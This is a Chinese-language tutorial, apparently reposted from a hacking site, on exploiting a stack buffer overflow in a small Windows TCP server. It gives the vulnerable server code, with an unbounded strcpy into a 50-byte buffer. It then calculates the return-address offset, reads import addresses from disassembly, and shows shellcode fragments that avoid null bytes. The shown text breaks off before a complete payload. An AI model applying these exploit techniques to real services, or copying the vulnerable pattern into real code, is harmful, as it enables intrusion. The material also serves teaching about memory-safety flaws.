下面是一个有问题的internet服务程序:
/****************************************************************************/
/*   server.cpp By Ipxodi   
*/
#include <winsock2.h>
#include <stdio.h>
char Buff[1024];
void overflow(char * s,int size)
{
  char s1[50];
  printf("receive %d bytes",size);
  s[size]=0;
  strcpy(s1,s);
}
int main()
{
  WSADATA wsa;
  SOCKET listenFD;
  int ret;
  char asd[2048];
  WSAStartup(MAKEWORD(2,2),&wsa);
  listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_port = htons(3764);
  server.sin_addr.s_addr=ADDR_ANY;
  ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
  ret=listen(listenFD,2);
  
  int iAddrSize = sizeof(server);
  SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
  unsigned long lBytesRead;
  while(1)   {
        lBytesRead=recv(clientFD,Buff,1024,0);
        if(lBytesRead<=0)   break;
        overflow(Buff,lBytesRead);
        ret=send(clientFD,Buff,lBytesRead,0);
        if(ret<=0)   break;
  }
  WSACleanup();
  return 0;
}
/****************************************************************************/
函数Overflow有问题,看到了吗?
好,现在我们来写溢出***程序:
1)先算一下溢出(返回)地址应该在哪里?
(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?
:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,
现在原代码就放在你眼前,你自己算一下不就出来了?)
下面是溢出时刻堆栈布局:
内存底部                     内存顶部
      buffer     EBP   ret   
<------   [NNNNNNNNNNN][N   ] [A   ]SSSS
    ^&buffer
堆栈顶部                     堆栈底部     
可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是
52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。
2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?
启动wdasm32,加载server.exe
:004028EC 68F0014200         push 004201F0
* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
                      |
:004028F1 FF15E8614200         Call dword ptr [004261E8]
好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。
:00402911 51               push ecx
* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
                      |
:00402912 FF15E4614200         Call dword ptr [004261E4]
好,KERNEL32.GetProcAddress的入口地址:0x004261E4。
这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
0xbb,0x99, 0xe8, 0x61, 0x42,   /* mov ebx, 004261E8h;(&LoadLibrary)       */
0xc1, 0xeb, 0x08,         /* shr ebx, 08               */
以及
0xb3, 0xe4,             /* mov bl, e4   &GetProcAddr     */

本篇文章来源于 ***基地-全球最大的中文***站 原文链接: [url]http://www.hackbase.com/tech/2008-04-25/40568.html[/url]